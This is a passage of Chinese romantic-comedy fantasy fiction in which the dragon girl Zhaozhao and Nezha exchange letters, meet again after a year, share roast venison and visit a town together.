她想象不出来,白鹭的羽毛上会带着怎样的碎光,顿时在心里就有些嫌弃哪吒,嫌弃他连根羽毛都不舍得给自己送来一根。
这嫌弃的小情绪不同与之前的嫉妒心,它在昭昭心中刚冒头,就被龙女飞快地打散成空。
因为昭昭一秒的时间都要不到,就开始在心里给哪吒找理由了。
一个在野外摸鸡蛋,都不会摸毛蛋的孩子,他怎么会做出为一己之私,就拔去无辜鸟儿羽毛的事情呢?
所以他只是惋惜自己不能与他看到一样的风景。
小孩哥,他有着颗强者的柔软之心。
这种先天养成的、疏朗的行事作风,昭昭学不会。她只拿着这两页信纸翻来覆去地看了好几遍,最后才在快吃空果盘的兔子信使催促下匆忙回信。
昭昭自哪吒离开碧波潭的第二日开始,就被万圣龙王加了功课。
老龙真的很奇怪,明明对她摆出一副我不会把家业给你,只是吊根萝卜在前面诱惑你,想把你溜成驴的嘴脸,却也根据她的水平,给她重新安排了新的武术老师。
昭昭不想对哪吒继续暴露出,自己丑陋的家庭情况。就像人们不会把裆部裂开的裤子,穿在外面的道理一样。
昭昭隐去这部分的现实,总算是从无聊的日常生活中,找出了一点点有趣的内容,分享给哪吒。
她提笔在纸上写到:〔“最近教授我武艺的师父被老筷子换妖了。新的师父,他是一只铁塔般的螃蟹,那种一看黄就很多的螃蟹。
我实在好奇他的蟹黄多么,就当着面去问新师父了。
但不知道为什么在师父不回答我的这个问题之后,在一旁默默听着我们师徒进行友好交流的老筷子,他二话不说就把我打了一顿。”〕
“一看黄就很多的螃蟹啊……”哪吒没杀过铁塔般的螃蟹,他想象不出来。
来自龙女的信被他握在手中,反反复复读了好几遍,他也不能回答龙女困惑不解的为什么。
他坐在草地上,意犹未尽地把信放进袖中的暗袋里收好后,便弯腰将旁边蹲着吃草的兔子抱入怀中挼弄:“兔儿,你说昭昭是不是馋蟹肉了?”
自从哪吒主动出击一次后,昭昭的写信别扭症就不药而愈了。
原先与哪吒说好的六天一次的书信往来,轻而易举地就被她打破。
哪吒从最开始的两三天一封信收到的频率,极速转变成一两天就能从碧波潭那里收到好几封信。
除开第一封信,之后龙女的每一封书信的内容都并不兀长。
可能是最近的课业骤然增加,龙女寄来的每一封信,不是在抱怨碧波潭的筷子父子,就是用各种巧妙的语言辱骂各种为难她的老师、臣子。
“初升的晚意,彼阳的东西,迟早就把他们都杀了。”
“一群庸才就像是过了花期的油菜地,没有菜花。”
“好累好烦,好想立刻举起反剥削反压迫的大旗,然后豆沙包,包豆沙,豆沙拉!!!”
神奇,很神奇的精神状态。
这样的来信,让哪吒每每在打开信封前,都觉得自己的左眼皮,突兀地跳动了几下。
别人的字落在纸上,就沉静的一动不动,文雅地等着收信人的阅读。
只有昭昭的信不一样。
哪吒只要去阅读,脑海中就会同步出这一行行墨字变成话语的音调。
虚幻的女童说话声入耳,哪吒又会觉得这些字张牙舞爪地,想狂躁地小动物发狂一般,嗷嗷咪咪地叫着,从他的眼中扑到他的心底。
明明是文字,却一点道理都不讲,和写下它们的主人一般,蛮横地闯进他的世界,又凶巴巴地撒娇。
分别的时间不过一个月,原先哪吒准备好用来装信的匣子就不够用了,换成了巨大的带锁樟木箱子。
虽然哪吒事先没有与龙女通过气,但他猜她这些怨气冲天的信件,一定不会想让除他之外的第二个人拜读品鉴。
这相互往来通信的一个月,在哪吒的记忆中过得很快,快到几乎是到了他在明日的早晨睁开眼,山峰的秋日风景就怦地一下闯进了他的眼中。
赤红橙橘亮黄,几种让人感到温暖的颜色,驱走了前一个季节所代表生机的嫩绿与代表沉静的苍翠。
这是一个美丽又欢乐季节,居住在山中的隐士与动物,他们同时迎来了收获季节。
在这个时节,哪吒会帮助母亲殷夫人一同囤积山货。
肥润的蘑菇、绵软的山药、蜜甜的柿子、脆甜的果子,各类油润的坚果,这些美味的食物都在山里等待着他们母子与动物的光顾。
哪吒和殷夫人,他们并不贪婪,只取用够他们一家人渡过冬日严寒的部分。
但山里的飞禽走兽蛇虫鼠蚁可不管人是怎么想的。
它们只吃最好最营养的食物部分,而不像人专注地食用食物整体。
走在山间,偶尔行迟了几步,哪吒就会看见母亲眼中对山中野物的贪婪与挑食,露出些微的不满。
他知道母亲是心疼自己这个小儿子与她又多白跑了几趟山路,理解的同时却又和母亲殷夫人的感受相反。
哪吒他并不反感
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鸟雀走兽们的贪婪,反之他还觉得它们很是可爱。
只想吃最好的,尝最甜美最丰润的食物部分有什么不好?这些小东西若一直抱有这种单纯的欲望,以后他就能少杀几只作乱吃人的妖怪。
囤山货的日子很悠闲,哪吒猜昭昭也会喜欢这种生活。于是他就将每日在山中的见闻,无一遗漏地全部分享给了她。
……然后每日收获了三四封张牙舞爪、鬼哭狼嚎的信件。
天地良心啊,他真没有对她炫耀的意思。
这龙凭空给他扣上欺负龙的帽子,哪吒是佩服她倒打一耙的功力又增强了太多。
“真好呢,现在这个季节的山里。”昭昭打开信封,还未看见信的内容,就冲着兔子信使小声嚷嚷。
这段时间昭昭从碧波潭的大人们身上感受到了前所未有的压力。她面对高压,精神从不会萎靡是没错,但要她像之前一样活泼,那是不可能了。
只有、唯有收到哪吒来信的时候,昭昭才会重新感受到一丝合时宜的火气。
信纸上有着山的味道的林风,墨字的内容唤醒龙的味觉记忆,这让盘踞在碧波潭潭底苦修的龙女,幻觉般地在水中随着书信主人的频繁回信,也感受到什么将秋高气爽,更胜春潮。
回信的宣纸太短,昭昭还未看过瘾,哪吒便又一次说完了他在山中的故事。
和前次说的一样,哪吒在昭昭的意识里,是个耐得住寂寞的小孩哥。
而持续通信到如今的现在,她觉得他若是活在她的上辈子,那是极其适合做个观鸟大佬的。
该死的老筷子,若不是他不以大头论继承龙,她现在也和哪吒一同在山里过得快活。
小肥鸟圆鼓鼓的在水里洗澡的画面,昭昭光是从哪吒的文字中读到就觉得好可爱好可爱啊啊啊!!!
一下心中怨恨激增,昭昭又给哪吒回复了一副充满怨恨与骂声诅咒的信件。
……这次信的内容,也活像是寄宿生咒怨,在像走读生进行花式的惨叫。
“如果在这个世界上,我发现存在着点燃引线后,就炸烂全世界的炸药,那我一定会毫不犹豫的点燃它,然后天地同寿……”
啊,昭昭最近学成这个样子了吗?
哪吒举着信纸在阳光下照了照,确定自己刚才没有误读信上的内容。
阳光透过宣纸,白纸黑字的,上面的墨字是一个也没写错。
哪吒震惊了。
他为昭昭这个小小的身体内,藏着的大大的恶毒所慑。
这次不知道该怎么回信的哪吒,他神色恍惚地拿起桌上一片红艳艳的枫叶书签。
随后,他封好信封,让兔子信使将信送去碧波潭。
哪吒目送白兔离去,他站在原地直到看不见最后一点兔耳尖尖,才抬步返回家中。
他敲门进到母亲房中,在殷夫人面前上演了一小段欲言又止的默剧后才问殷夫人,道:
“娘,我们家里能养龙吗?”
“不能!”
昭昭又一次仗着龙族皮糙肉厚,缠着武学师父和她从天黑缠斗到天亮。
打得每一个武学师父,面对她时的态度都从最开始的轻视到最后的避之唯恐不及。
无他,这都是因为昭昭与任何妖精鬼怪交手,她的打斗风格都不符合当下龙族的主流风格。
她打妖怪,将就一个边打边吃。
反正不是人,她也就吃一口新鲜大餐。
大螃蟹?咬一口!
大河虾?避开后背咬一口!
大鲤鱼?咬一口!
这套野蛮凶残的打法,最后昭昭成功逼得各位师父,变作了人形来教她习武。
可那又如何呢?人形只能骗昭昭的眼睛,不能骗她的鼻子。
再说了,只要她眼前的人在三分钟之内,没有从水里飘起,她照样龙嘴一张,咔嚓几口咬得那叫一个毫无心里压抑。
昭昭的善意,从不对着向她散发恶意的对象彰显。
就算过招对象,换做了万圣龙王,昭昭都照啃不误!
就这般,此世学习压力挺大的昭昭,她吃好喝好反倒吃胖了几圈,龙身变得更加粗壮结实,身长也默默增加了好几尺。
现在的她再变回原型,和筷子哥躺在一处,都会让不清楚实际情况的水族认为这两条龙不是出自同一胎。
又一次被龙女堵住不让走的武学师父,他只有在默默损失十几斤鱼肉后,才能被放行。
20.第 20 章
对好友精神状态表示忧心忡忡的哪吒,单是信上的文字安抚是对他没有用的。
在强行相信了昭昭的个龙能力一年后,他还是跑去了碧波潭探望她。
通信后的一个年头,经历过充分□□锻炼,及时的营养补充的昭昭,她的人形也随着原型的成长,对外是增添了几岁的样貌。
年纪像是在十一二岁左右的少女,容貌还未张开,一袭翠色罗衣倚树而立,细柳嫩枝般在春风中招摇。
哪吒确认眼前的豆蔻少女是昭昭,还是凭借着气息认出。
她怎么长得那么快?
哪吒止步不前,不想靠到近前去后,要抬头仰视龙。
反倒是远处的昭昭,她在看见哪吒后,便快步上前去拉住哪吒的手,笑逐颜开,眼睛弯成了月牙的形状:
“哪吒,一年时间了,你怎么不长个呀?”
这话是她故意问他的。
她知道哪吒是父母入道后所生之子,来历不凡,其生长过程不一定依从凡人的正常规律。
可知道归知道,她就想逗逗他。
哪吒没有被昭昭的一问,顶得黑脸。
他慢吞吞地抬起头看着昭昭,又慢条斯理地说:“我已非凡人,胎里入道者,我是开天辟地第一人,长得较常人慢些也属正常。”
也、属、正、常~
昭昭瞧了一眼哪吒捏紧的小拳头,没有多言,只用袖子捂着嘴巴闷笑半晌。
哪吒被她这笑声弄得心中发痒,直想伸手去挠胸膛,可他却强行忍住,故作云淡风轻地和昭昭说话:
“你看样子过得比你信上的表现出来的样子正常多了。”
“那是当然。”昭昭说话的样子依旧底气十足。
这种自信飞扬的姿态,来源于真正从困境中挣脱束缚的人,才能拥有的气质。
她笑着抬手吹吹手指,口中又回味了一遍河鲜肉质的弹牙鲜甜后道:“像我这种龙,如果一开始就没被打倒,那可就轮到其他人被我打倒了。”
说完,她又抬手摁住哪吒的发顶,看着他现在的样子叹息:“哪吒,你要是一直长不大,那该多好。”
可可爱爱,雌雄莫辨的雪娃娃,多惹人怜爱呀!
哪吒啪地一下打开昭昭的手,黑着脸沉声反驳:“你做梦!”
昭昭哎呀了一声,才抬起手向哪吒抱怨:“好久不见,见面你就打我!”
哪吒语气凉凉地说:“是你先逗我的。”
“我不管,你看我手背都红了!”
一片白皙无暇上,突兀地现出一块桃红,若白宣泼朱,瞧着是挺不好看。
哪吒耳边还在重复着,昭昭娇气的抱怨。
他对她没有办法,只好扯过她被自己打红的手,用拇指搓揉了几下那红色:“这样可以了嘛?”
昭昭呆了短促的一刹那,随即飞快地把自己的手缩回来:“好、好了。”
这古板小孩哥,怎么突然不将就起来了?
以往他搓自己龙身就算了,现在人身他也能上手搓了?
她光明正大地细细瞧了一番,这人脸上的表情,发现没有出现任何诡异的变化后,昭昭又把手朝他伸了回去:“你不会轻点搓啊,手指上都是茧子,越揉越痛好吧!”
哪吒好脾气地哦了一声,才接着给昭昭揉手。
他沉默地没有提醒眼前的龙女,以龙族强健的体魄来说,她手上的红色此刻已经快消弭殆尽了。
而昭昭呢,她向来是个对外来恶意十分敏感的孩子。
之前又在碧波潭与看不起她的妖精鬼怪老筷子们,互相折磨了一年的时间,她被活生生磨成了敏敏肌。现在但凡谁对昭昭露出一丝恶意,她就能立刻察觉,然后十倍奉还给对面。
哪吒对待昭昭的原则,是只要她不以凡人为食,他就随便她对他怎么样。
这一点规则,对非人来说极是苛刻,可谁让昭昭有个人类小女孩的灵魂呢?
两人秉持着相同的原则,对待妖精鬼怪重拳出击,对待凡人我再看看的底线,是天生能玩作堆的好朋友。
一年不见,昭昭察觉到哪吒对她的态度改变不少,隐隐有些要更让着她。
看他没对自己露出恶意,乐于享乐的龙女,她自然是顺水推舟,让哪吒更加地将就自己。
她可不是什么讲平权的好姑娘,她认为自己天上就是生来享福的,万物都应该来补偿她,对她好。
站久了,昭昭干脆蹲下身来看哪吒,看他专心致志给自己揉手的小模样,乐得眼角眉梢都在颤。
小小的未来将军,哼哼哼,拿捏!
重新摸索到,该与小伙伴如何相处的昭昭,她对哪吒得寸进尺道:“小朋友,快叫声姐姐来听听!”
哪吒停下给昭昭揉手的动作:“你我同龄。”
昭昭笑了一声,又被他小小年纪就年纪一大把的样子逗乐。
好友久别重逢,却不显生疏的感觉实在太好了!———
不过,这对于自己和哪吒来说也很正常。
从过去的书信往来可知,他们一人一龙虽然分隔两地,但彼此的日常生活轨迹是重合的。
每天睁开眼,他们一天中最多的时间都花在打这个,打那个,打完那个再打这个的行程上面了。
不过,哪吒倒是比她可怜些。
因为是人,受困于种族限制,他打完一串妖精还连口热乎的也吃不上。
哪吒打量着昭昭,看她一时喜一时叹,一副未被磋磨的天真傻气。之前自己在信中看到的那些抱怨、咒骂都像是梦一般的幻影。
昭昭她依旧中气十足地讨厌着碧波潭所有精怪,然后笑嘻嘻地欺负着出现在她眼前的每一个她想欺负的生灵。
包括他。
哪吒也不在意昭昭对他的欺负。
他看着昭昭的人形,只觉得他的朋友被饿瘦了。
要知道昭昭以前的人形可是圆脸,现在却瘦得下巴尖都出现了……
看样子是在过去的一年里,都没有好好吃饭。
哪吒伸手捏住昭昭的脸颊肉,捏了捏,提议道:“太长时间没有见面了,你想念我的烤肉手艺吗?”
昭昭:“?”
好奇怪啊,这人从刚才见面开始就表现得好奇怪啊!
一年算是很长时间吗?
她早已不是过去的吴下阿蒙!她早已经知道了一两年的时间对于龙和入道的修行者来说,跟一两天的时间也差不多。
说实话在过去的一年里,要不是压力太大,昭昭都不会那么频繁地与哪吒通信。
黏糊,太黏糊了,她上辈子与能和自己手牵手上厕所的朋友,都没那么黏过。
“我说想念,你就会给我烤肉吗?”
“嗯。”
“那你烤吧。”
没想到他真答应了,昭昭站起身跺跺脚,就跟在了哪吒背后,默不作声地尾随他往林子里走。
哪吒发现了昭昭的自动跟随,他也没有阻止,只在前方又折断些可能会勾破她衣裙的树枝长草。
走在前方的小小开路先锋,老实巴交的,像个受气包。
昭昭在心中腹诽,却也没打算搭把手去帮忙。
她安安静静地看着哪吒采集香料、猎鹿、生火处理猎物,野外生存技巧比起以前是从未减弱半点。
他穿着一身绣云纹的衣裳,制式像是道袍,窝在石头上背靠大树坐着给昭昭烤肉。
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宽大的袖袍撩起,露出的小半截胳膊显得瘦骨伶仃,纤细得像是水鸟没入水中的腿。
看着有些可怜。
但昭昭她没有良心,只乐于享福。
哪吒只要没喊她帮忙,她就坐在旁边等吃。
心疼没有,她只是看着这样的哪吒,想起了他寄给自己的第一封信。
他信中所说的白鹭,这鸟的羽色应该就像现在他衣裳的颜色一样,白且藏着流光。
要不,待会儿推哪吒去树梢上站一会儿?
昭昭这龙得寸就想着进丈,理直气壮这也要那也要,总是在自己能做主的范围之内贪得无厌。
好在她还知道人好欺负,却不能逮着一直欺负,要有限度的欺负才能可持续发展。
“肉烤好了。”突然哪吒转过头与她说话。
这突至耳边的话音,吓得昭昭还以为这人看穿了自己之后的打算。
“喏。”一支完整的鹿肋条,被哪吒拆解下来递给她。
昭昭说了声谢谢,接过鹿肉后递到哪吒嘴边:“你辛苦,你先吃第一口。”
怕她缠歪,哪吒轻轻在上面咬下一点肉之后,就推开昭昭的手:“你吃。”
哪吒的指腹刚触碰到昭昭的手腕,她就愣住了。
好厚的茧子,粗粝得像是树纹。
她还记得以前哪吒的手,是没有这么粗糙的。这些年他一个人是杀了多少妖魔鬼怪,才能将自己白嫩的手心指腹,养出厚茧?
好嫉妒。
比自己有天分,还比自己努力的男人,他怕是会早自己一步过上享福的好日子。
是男的,却是自己的好朋友,哪吒这就卡了昭昭对自己作恶的bug。
男人意味着,她可以伺机而动夺位可期,朋友却意味着此项无法选中。
昭昭有些陷入了卡机状态,脸上因为半想咬牙半想微笑的举动,表情凝固在了喜怒之间。
好在她思绪中跑马归跑马,实际上却是一点也不耽搁吃东西。
等她回过神后,手中的的鹿肋都换成了第四根。
肉香扑鼻,嘴中嚼着肉汁满溢的烤鹿肉,昭昭便不再纠结自己对着哪吒时,内心情感时不时互相冲突着反复的奇妙感受。
龙女性格中被恶意长期刺激而变异生成的尖锐部分,被她强行撤回。
她边填饱肚子,边告诉自己,没事的,糟糕的情绪总会过去的。
一只烤鹿,昭昭显得意犹未尽,却不打算继续再吃了。
难得和朋友相聚,她还是想和哪吒说说话。
“没吃饱?”
她听见哪吒开口问她这个问题,垂眼看着这在自己眼前放袖子的小孩哥。貌似只要她说一句不够吃,肚子还饿,他就会立马冲去再给自己抓头鹿回来吃。
他在关心自己?
昭昭很久没有体会到这样软绵绵的正面情感,她呆了片刻后回答道:“不饿啦,吃是可以继续吃,但比起吃我更想和你说说话。”
“还有。”昭昭的衣裙下变出一条有着青绿色鳞片的龙尾,它灵活地用末端圈住哪吒的手腕:“你今天穿这身衣服,可爱得像是一只小白鸟,再多安静地让我看几眼,可以吗?”
哪吒抬起手,望向这条自己熟悉,却是悄无声息变粗许多的龙尾,点点头,随着尾巴的牵引,挪动位置,在离昭昭离得更近的位置坐下。
规规矩矩地小孩哥,在昭昭眼中可爱得像是一个娃娃机中被选中的毛绒玩偶。
他毛茸茸地挪动,是因为被她毛茸茸的尾巴抓住了。
太好了,对人来说很漫长的一年时间过去,在他们没有见面的时候,昭昭的小将军依然没有长歪。
他还是这么听自己的话。
21.第 21 章
龙尾上的银白软毛,因为微风的摇摆,轻轻搔着哪吒的下巴。
细微的痒意,弄得他下意识想要微笑,却又在扬起嘴角的下一瞬,动作变为蹙起眉头。
哪吒靠在了昭昭身上后,她就咻地一下收回尾巴,改为伸手揽住哪吒,笑问:“你怎么皱眉了?身体不舒服?”
“没有。”哪吒伸手推拒着昭昭,将要搭在自己肩膀上的手挡开。
而在试过一次推不开后,哪吒便让昭昭继续完成她想要做的举动:“我怕痒,下次你不要尾巴挠我的下巴。”
“我没有挠你痒痒。”
这仅存在于哪吒口中莫须有的‘事实’,让她收回手,无辜地在她面前摇晃:“我要挠也是挠你咯吱窝或者脚心?多数人都是这两个地方经不起戏弄,哪吒你是不是?”
哪吒:“我……”
他因为不确定而迟迟说不出后续的话。
哪吒没被人挠过这两处地方,自然就不知道自己在这处怕不怕痒。
倒是他的腰腹处,都挺怕被人碰。
这两处地方在过去时,曾经被两个哥哥玩笑般戳过,当时就激得他头皮发麻,原地跳开着躲避。
不过,这话他是觉不可能告诉她的。
哪吒垂下眼躲避旁边昭昭的注目,企图用沉默来让她打消继续戏弄自己的心思。
他知道她过去一年在碧波潭的日子不好过,但也不能为了戏弄人,让她把手或者尾巴伸进别人的衣裳里。
哪怕他们是朋友也不成。
哪吒抿紧嘴唇忍耐,白玉般颜色的耳垂却忽地变得通红。
昭昭不知道自己在哪吒心中,此刻已然被他编排成了个,坏心眼的女流氓。
她收回手后,双掌松松握成拳头撑住下巴,撑着头笑盈盈地盯着哪吒瞧:“是你先来找我玩的,怎么才见面没多久,你就不和我说话了?”
“没有不理你,我只是……”
“只是什么?”
哪吒低声说:“怕你为了开心,不管不顾地过来挠我痒痒。”
嚯,这话说得!
昭昭眉头一竖刚想反驳哪吒怎么张嘴就凭空污人清白,下一秒忽又想到自己似乎真是这样的人。
有点糟糕啊,感觉自己被这小子看透了。
昭昭懒洋洋地拖长说话的声调,反驳哪吒的话:“我一直开心不就不会欺负你了?还、有、啊……”
她顿了顿,故意引诱哪吒的眼神停在她的脸上,她才又笑盈盈地继续:“我不开心,你就哄得我开心呗!作为未来的将军,有义务要让我龙颜大悦的呀!”
哪吒:“你……”
见昭昭理歪气壮的样子远胜往昔,哪吒一时语塞,不知自己该如何应付她。
昭昭与哪吒四目相对,笑得坦然,还惬意地晃悠着腿。
一人一龙熟悉些后,她总喜欢看自己为难,也不知这样恶劣的性子是天生,还是后天养成?
“你要我怎样哄你?”哪吒瞥了昭昭一眼,深觉她肚子里这会儿肯定在咕噜咕噜冒坏水。
受到眼神谴责的昭昭:“我冤枉啊。”
明明最开始见面时,哪吒才是行事作风狠辣,显得不受世俗拘束的那个。怎么时间久了,反倒她成了他们之中最野性的那个呢?
难不成是她最近生猛河鲜吃多了?
昭昭遇到困难时,从不会在自己身上找原因,她理所应当的又把自己过于松弛奔放的过错,推到了老筷子头上。
都是老龙头的错!
如果不是他有眼无珠不识货,她原本可以端着高冷架子、再绷个冷面皮,做个龙族仙女的!
她这辈子生来就是要做龙王+神仙的!
不行了不行了,想着家中的老家伙,昭昭看见眼前哪吒那张精致小脸,都觉得无法消气!
久别重逢,不能因为旧事坏心情。昭昭从鼻子里哼出一股气,下一瞬就转了念头。
她对哪吒提议道:“野味吃过了,接下来你陪我去城里吃点人饭怎么样?”
哪吒想起上一次他们在城中分别的场景,立刻板起脸拒绝:“不去!”
昭昭想着自己好久,没吃着有味道的熟食后,急道:“为什么?”
哪吒:“因为…因为……”
他不想被人认为是她弟弟,明明是同龄人,在他人口中成了她的弟弟,这像是凭白低了昭昭一头。
“我不想当你弟弟。”哪吒被昭昭看得脸红,禁不住对她说了实话。
昭昭闻言斜睨了哪吒一眼:“种族都不同拿来的姐弟,哪吒你想太多了。”
再者,她要是还有个弟弟龙存在,那么他们碧波潭真成玄武门继承法玄幻版2.0了。
“你看重这个称呼,其实我也可以在外面叫你哥哥的。”
哪吒顺着昭昭的话,想象了一番,立刻拒绝了她这建议:“还是不了,以我们现在对外的形貌差距,旁人会把你当成傻子痴儿对待的。
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”
这不好。
昭昭听出了哪吒的言下之意,瞬间觉得他在自己这里好欺负纯粹就是因为他道德感过高,对自己人过于包容。
…还有就是哪吒他啊,对朋友是真的溺爱。
他是个好人,但好人就会被欺负。
昭昭转念一想,又觉得哪吒以后有自己看着,只被一条恶龙欺负,应该不会出什么事。
昭昭捋顺脑中想法后,对哪吒叹气道:“没有我,哪吒你以后可怎么办啊?”
哪吒:“嗯?”
一时跟不上她的话题,哪吒发出了声困惑的鼻音,随后嗤笑她道:“我可是很厉害的人。就算不认识你,以后我也会得道成仙!”
老老实实苦修,等缘分的修行方式太蠢了!
哪吒家中就有三个例子,他要修行就修斩妖除魔的道,以后成个庇护弱小生灵的杀神武将,才正合他意。
反倒是昭昭,哪吒乜斜着飞了昭昭一眼,他才觉得她是没了自己不行的那条龙。
看她前一年的来信,疯疯癫癫成那样,他还以为她要被逼成妖龙去了。
若昭昭一气之下屠了碧波潭,哪吒也不清楚自己这朋友和她做不做得下去。
“我就陪你去一趟城里吃喝好了。”哪吒心知肚明自己说话绕圈子,兜不过昭昭,干脆就不和她纠缠了。
直接顺了她的意,她忘性大,哪吒猜一会儿她就会忘记生气,笑呵呵地拉他吃遍一个城的美食。
昭昭达成了目的,以远超哪吒预估的忘性,在他说完话后就颠颠地拉着他起身灭火、驾云而去。
等哪吒站在了云头,他才一脸震撼地盯着昭昭的脸想,世上怎么会有人能这么快速的变脸呢?
还是说,自己其实能绕过她?
“是绕不过的。”
昭昭小声嘟囔着,去看哪吒的脸色。
哇,他气得鬓边的碎茸发都竖起来了。
她别开脸去偷笑,耳边却仍然听着卖花姑娘,对他们两人推销头花的花束。
“正是一年好光景呢,姑娘不如给自己和姐妹买朵花来戴。我这花好,姑娘们戴上了,方才不辜负你们这样天生的好颜色!”
姐妹,噗。
让他之前不想当自己异父异母的好弟弟,现在好了吧,弟弟都没得当了。
妹妹?
昭昭瞥了哪吒一脸后,是再也忍不住笑出了声。
这黑脸的妹妹,她才不要呢!
22.第 22 章
卖花女的篮子中,装着无数正和节气,盛开的花朵。
在这无数鲜妍的前景之后,出现的是哪吒那张竖起眉毛,抿紧嘴唇的小脸蛋。
昭昭看得出来他很生气,这气还多半是羞恼。
可就气成了这样,哪吒也没有对错认他性别的妇女发火。
他只是缓慢地扭过头,紧紧地盯着她看。
漆黑的瞳孔,若寒潭映影般,罩住她。
在这一次又一次的玩闹结果,让昭昭她也不得不佩服哪吒的脾气,是真的好。
闹完就该哄了。
心里想着这个,昭昭从袖中的暗袋里,摸出两粒珍珠递给卖花女。
珍珠当做买花钱后,她才拎着篮子走到哪吒身边哄他。
今日之内,自己可不能再逗他了。
再三的招惹,让小孩哥生气了一溜烟跑回山里闭关,她还能去那里找到这么可爱、这么不让自己厌烦的‘受气包’。
心中念罢,昭昭从花篮中捏了一朵石榴花,在哪吒鬓边比划:“这红艳艳的颜色,可真好看呀!”
哪吒双手抱胸,哼了一声别开脸,不去看昭昭。心道,她就会拿这些花花架子哄人!
他这次是不会再被她轻易哄去了!
而昭昭见哪吒将脸转到一边不理会自己,她也没心生不耐,反而继续上前一步,靠近他。
昭昭弯下腰小心地在哪吒鬓边,簪上她手中的石榴花,夸赞眼前的竹马道:“狡童兮丽色,美而使我忘餐!”
此言一出,哪吒的脸刷地一下红了。他瞪大眼睛,颇有些错愕地转回头与昭昭对视。
他真是搞不懂这条龙了!!!
就在路上,车水马龙之间,她就这样大大咧咧地对他吟情诗?!
她这化了人形,着了衣冠,怎么却一点人的羞耻心也不学!
哪吒恼得咬牙鼓腮,却在耳边石榴花将要因为自己脸上筋肉变化,而欲要滑落之际,慌忙将其扶正。
单一个小动作,却暴露了他心中的窃喜。
一种自己出门在外,果然受人喜欢的欢喜,一种昭昭她主动找自己做朋友,那她心中就应该这么喜欢自己的骄傲。两种情绪麦芽糖般在哪吒心中缠绕,由内而外托,举着他的嘴角上翘。
迎着昭昭水汪汪银杏般的眼睛,哪吒在其中看见了自己的倒影。
满脸通红的,小小的自己。
这样子,完全是在她面前暴露了自己的心绪。
忽地一种古怪的坚持,在他的心中诞生。
他心头一跳,耳边簪着的石榴花,其花瓣在耳间嫩肉上,摩擦出让人想要抓挠的细养。
“你用错典了。”哪吒故作轻松地咳嗽两声后,委婉地纠正昭昭的情谊。
其实、他也不是不喜欢昭昭,但……
夫妻,哪吒自是知道是怎么相处的,可他只要在脑中一想象自己以后要成为李靖一样的角色,就觉得自己被尬得头、皮、发、麻。
昭昭给哪吒簪完花,就自己在篮子拿出唯一一朵芍药,簪在了头顶的双环髻中间。
她很满意自己这辈子的人形皮相。
这种一看就是标准的美人胚子,她都能想象自己以后迷倒众生的快乐了!
昭昭光顾着调整自己头上的鲜花,便顾不上去细察哪吒此刻的情绪。
想着自己反正已经哄过他了,他若不见好就收,那自己也没办法,随口答道:“哪吒你别那么死板嘛,你懂我意思就好了。”
懂?他懂的意思是她想传达给自己的那个意思吗?
哪吒见昭昭单手,扶正头上芍药花的动作不便。他伸手主动接过了她手上的花篮,轻轻说道:“你最喜欢捉弄我了,我哪知你什么话是真,什么话是拿我做耍?”
嚯,作耍?
这用词过分了。昭昭放下手,用胳膊肘在哪吒肩膀上一刺,笑道:“你记住你是我最喜欢的朋友这事,就知道我不会过分地欺负你啦!”
……原来,她知道自己一直在欺负他啊。
还有最喜欢?
“你现在就我一个朋友。”还最喜欢?又没有他人做比较。
哪吒撇撇嘴,又问昭昭:“你过分欺负人是什么样的?”
昭昭:“人,我目前就欺负过哪吒一个,还是心中有分寸的欺负。”
“要说过分欺负嘛,你看我家里那双筷子和听命于筷子们的喽啰,就知道我真正想欺负人,是乱讲理哒!”
“也是。”哪吒若有所思的点头,想想她现在的性情与过去相比,没有丝毫改变,那么痛苦的龙就另有其条了。
这样看,昭昭对他还挺好的。
“我姑且信你这话。”哪吒选择相信眼前龙的话,向她伸出手:“不是说要吃人饭吗?走吧,别在路边傻站着了。”
“好噢。”昭昭搭上哪吒的手,掌心相贴的瞬间,就被他紧握住。
他握着她的手力气极大,昭昭的手心被哪吒手上的厚茧擦得生痛,不由轻轻挣了一下。
当然,这下意识的反应所用力道极小,理所应当就没挣开哪吒的手。
昭昭心中隐约觉得哪吒这重重的力气,展现的方式有些奇怪,却又不知道怪的具体是哪个点。
一年的时间未见,万一哪吒力气突然变大了呢?
这也是不能理解的!
就算是朋友也不能弄疼她!
心里抱着这个想法,昭昭脸上依旧挂着灿烂的微笑,手上的力道却暗暗增大。
她要给哪吒捏回去!
哪吒他感觉昭昭在用力握他的手,下意识就捏了回去。他这一下可不得了,从不认输的龙女当场就加力给他回过去了。
如此一来,在外人眼中一对可爱的金童玉女,私下就成了一对咬牙较劲,互不认输的铁牛。
等这一人一龙到了饭馆,昭昭率先松开手。
但这并不意味着她向哪吒认输,而是她此刻的右手还有他用。
昭昭对跑堂说完了菜单,才转头故作风轻云淡地对身边人说:“哪吒,一年不见,你力气变大了很多嘛。”
哪吒见状,立刻将自己肤色发红的那只手背在身后,道:“哼,你也不差,想来武艺也进步了不少。”
“那是!”见哪吒将话说到了点子上,昭昭立刻对他炫耀起了自己长进的武艺。
别的不说,她现在使水袖抽精怪,往布料上覆了水流!
打人那一下,想想重力加速度的模拟计算公式,所得出的结果,昭昭心里就乐开了花!
在弱肉强食的这个世界,昭昭掌握住力量,就像上辈子在学校中掌握住分数。
她初次掌握了能主宰自己命运的利器。
与上一次时的感觉无差,昭昭她意识到自己能在偷袭中,五次有一次抽中老筷子时,她便觉得自己身体里的血沸腾起来了。
她兴致勃勃的和哪吒说起了,自己在碧波潭大杀四方的故事。
哪吒听得认真,慢慢也就察觉了昭昭在讲述故事时所用的春秋笔法。
她光谈自己怎么怎么厉害,却是一点也不提练武时的那些苦痛。
说起万圣龙王在被她打中腰侧时的亢奋,却不停自己在被踹飞过程中的狂笑,有多吓人。
见面她总是这样乐天,就更让哪吒不放心把她一条龙放在碧波潭。
“昭昭,你要不要和我一起修行?”哪吒,在昭昭说尽兴后,试探地对她提出建议。
“一起修行?”初时昭昭还没反应过来哪吒这话里的意思。
等她重复了一遍,才意识到他说的是:“你要我去你家和你住吗?”
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哪吒:“嗯。”
纸上文字结合龙女言语神态,哪吒都怀疑在他们没有见面的一年中,昭昭睡觉都睁着一只眼。
“随我在外降妖除魔,既积攒功德,又能在生死之间寻得实力突破。”他先阐述了一遍和自己待在一处修行的好处,紧接着才又补充道:“昭昭,你到底是那老龙王的血脉,碧波潭的众精怪是不会和你生死相搏的。”
哪吒说得有理,又加上跑堂开始给他们这桌上凉菜了,昭昭眼睛飞到饭菜中,口中回答的速度也不慢。
几乎是在哪吒刚刚将最后一个字吐出,她就速度极快地回了一声好呀。
